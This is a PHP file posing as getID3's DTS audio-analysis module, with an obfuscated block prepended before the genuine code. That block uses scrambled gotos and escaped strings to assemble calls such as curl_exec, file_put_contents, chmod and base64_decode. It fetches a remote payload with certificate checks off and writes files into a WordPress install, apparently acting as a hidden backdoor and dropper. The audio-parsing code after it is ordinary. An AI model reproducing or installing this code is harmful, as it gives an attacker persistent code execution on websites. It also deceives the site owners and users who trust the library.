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$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.dts.php // // module for analyzing DTS Audio files // // dependencies: NONE // // // ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } /** * @tutorial http://wiki.multimedia.cx/index.php?title=DTS */ class getid3_dts extends getid3_handler { /** * Default DTS syncword used in native .cpt or .dts formats. */ const syncword = "\x7F\xFE\x80\x01"; /** * @var int */ private $readBinDataOffset = 0; /** * Possible syncwords indicating bitstream encoding. */ public static $syncwords = array( 0 => "\x7F\xFE\x80\x01", // raw big-endian 1 => "\xFE\x7F\x01\x80", // raw little-endian 2 => "\x1F\xFF\xE8\x00", // 14-bit big-endian 3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $info['fileformat'] = 'dts'; $this->fseek($info['avdataoffset']); $DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes // check syncword $sync = substr($DTSheader, 0, 4); if (($encoding = array_search($sync, self::$syncwords)) !== false) { $info['dts']['raw']['magic'] = $sync; $this->readBinDataOffset = 32; } elseif ($this->isDependencyFor('matroska')) { // Matroska contains DTS without syncword encoded as raw big-endian format $encoding = 0; $this->readBinDataOffset = 0; } else { unset($info['fileformat']); return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"'); } // decode header $fhBS = ''; for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) { switch ($encoding) { case 0: // raw big-endian $fhBS .= getid3_lib::BigEndian2Bin( substr($DTSheader, $word_offset, 2) ); break; case 1: // raw little-endian $fhBS .= getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))); break; case 2: // 14-bit big-endian $fhBS .= substr(getid3_lib::BigEndian2Bin( substr($DTSheader, $word_offset, 2) ), 2, 14); break; case 3: // 14-bit little-endian $fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14); break; } } $info['dts']['raw']['frame_type'] = $this->readBinData($fhBS, 1); $info['dts']['raw']['deficit_samples'] = $this->readBinData($fhBS, 5); $info['dts']['flags']['crc_present'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['pcm_sample_blocks'] = $this->readBinData($fhBS, 7); $info['dts']['raw']['frame_byte_size'] = $this->readBinData($fhBS, 14); $info['dts']['raw']['channel_arrangement'] = $this->readBinData($fhBS, 6); $info['dts']['raw']['sample_frequency'] = $this->readBinData($fhBS, 4); $info['dts']['raw']['bitrate'] = $this->readBinData($fhBS, 5); $info['dts']['flags']['embedded_downmix'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['dynamicrange'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['timestamp'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['auxdata'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['hdcd'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['extension_audio'] = $this->readBinData($fhBS, 3); $info['dts']['flags']['extended_coding'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['lfe_effects'] = $this->readBinData($fhBS, 2); $info['dts']['flags']['predictor_history'] = (bool) $this->readBinData($fhBS, 1); if ($info['dts']['flags']['crc_present']) { $info['dts']['raw']['crc16'] = $this->readBinData($fhBS, 16); } $info['dts']['flags']['mri_perfect_reconst'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['encoder_soft_version'] = $this->readBinData($fhBS, 4); $info['dts']['raw']['copy_history'] = $this->readBinData($fhBS, 2); $info['dts']['raw']['bits_per_sample'] = $this->readBinData($fhBS, 2); $info['dts']['flags']['surround_es'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['front_sum_diff'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['flags']['surround_sum_diff'] = (bool) $this->readBinData($fhBS, 1); $info['dts']['raw']['dialog_normalization'] = $this->readBinData($fhBS, 4); $info['dts']['bitrate'] = self::bitrateLookup($info['dts']['raw']['bitrate']); $info['dts']['bits_per_sample'] = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']); $info['dts']['sample_rate'] = self::sampleRateLookup($info['dts']['raw']['sample_frequency']); $info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']); $info['dts']['flags']['lossless'] = (($info['dts']['raw']['bitrate'] == 31) ? true : false); $info['dts']['bitrate_mode'] = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr'); $info['dts']['channels'] = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']); $info['dts']['channel_arrangement'] = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']); $info['audio']['dataformat'] = 'dts'; $info['audio']['lossless'] = $info['dts']['flags']['lossless']; $info['audio']['bitrate_mode'] = $info['dts']['bitrate_mode']; $info['audio']['bits_per_sample'] = $info['dts']['bits_per_sample']; $info['audio']['sample_rate'] = $info['dts']['sample_rate']; $info['audio']['channels'] = $info['dts']['channels']; $info['audio']['bitrate'] = $info['dts']['bitrate']; if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) { $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8); if (($encoding == 2) || ($encoding == 3)) { // 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate $info['playtime_seconds'] *= (14 / 16); } } return true; } /** * @param string $bin * @param int $length * * @return int */ private function readBinData($bin, $length) { $data = substr($bin, $this->readBinDataOffset, $length); $this->readBinDataOffset += $length; return bindec($data); } /** * @param int $index * * @return int|string|false */ public static function bitrateLookup($index) { static $lookup = array( 0 => 32000, 1 => 56000, 2 => 64000, 3 => 96000, 4 => 112000, 5 => 128000, 6 => 192000, 7 => 224000, 8 => 256000, 9 => 320000, 10 => 384000, 11 => 448000, 12 => 512000, 13 => 576000, 14 => 640000, 15 => 768000, 16 => 960000, 17 => 1024000, 18 => 1152000, 19 => 1280000, 20 => 1344000, 21 => 1408000, 22 => 1411200, 23 => 1472000, 24 => 1536000, 25 => 1920000, 26 => 2048000, 27 => 3072000, 28 => 3840000, 29 => 'open', 30 => 'variable', 31 => 'lossless', ); return (isset($lookup[$index]) ? $lookup[$index] : false); } /** * @param int $index * * @return int|string|false */ public static function sampleRateLookup($index) { static $lookup = array( 0 => 'invalid', 1 => 8000, 2 => 16000, 3 => 32000, 4 => 'invalid', 5 => 'invalid', 6 => 11025, 7 => 22050, 8 => 44100, 9 => 'invalid', 10 => 'invalid', 11 => 12000, 12 => 24000, 13 => 48000, 14 => 'invalid', 15 => 'invalid', ); return (isset($lookup[$index]) ? $lookup[$index] : false); } /** * @param int $index * * @return int|false */ public static function bitPerSampleLookup($index) { static $lookup = array( 0 => 16, 1 => 20, 2 => 24, 3 => 24, ); return (isset($lookup[$index]) ? $lookup[$index] : false); } /** * @param int $index * * @return int|false */ public static function numChannelsLookup($index) { switch ($index) { case 0: return 1; case 1: case 2: case 3: case 4: return 2; case 5: case 6: return 3; case 7: case 8: return 4; case 9: return 5; case 10: case 11: case 12: return 6; case 13: return 7; case 14: case 15: return 8; } return false; } /** * @param int $index * * @return string */ public static function channelArrangementLookup($index) { static $lookup = array( 0 => 'A', 1 => 'A + B (dual mono)', 2 => 'L + R (stereo)', 3 => '(L+R) + (L-R) (sum-difference)', 4 => 'LT + RT (left and right total)', 5 => 'C + L + R', 6 => 'L + R + S', 7 => 'C + L + R + S', 8 => 'L + R + SL + SR', 9 => 'C + L + R + SL + SR', 10 => 'CL + CR + L + R + SL + SR', 11 => 'C + L + R+ LR + RR + OV', 12 => 'CF + CR + LF + RF + LR + RR', 13 => 'CL + C + CR + L + R + SL + SR', 14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2', 15 => 'CL + C+ CR + L + R + SL + S + SR', ); return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined'); } /** * @param int $index * @param int $version * * @return int|false */ public static function dialogNormalization($index, $version) { switch ($version) { case 7: return 0 - $index; case 6: return 0 - 16 - $index; } return false; } }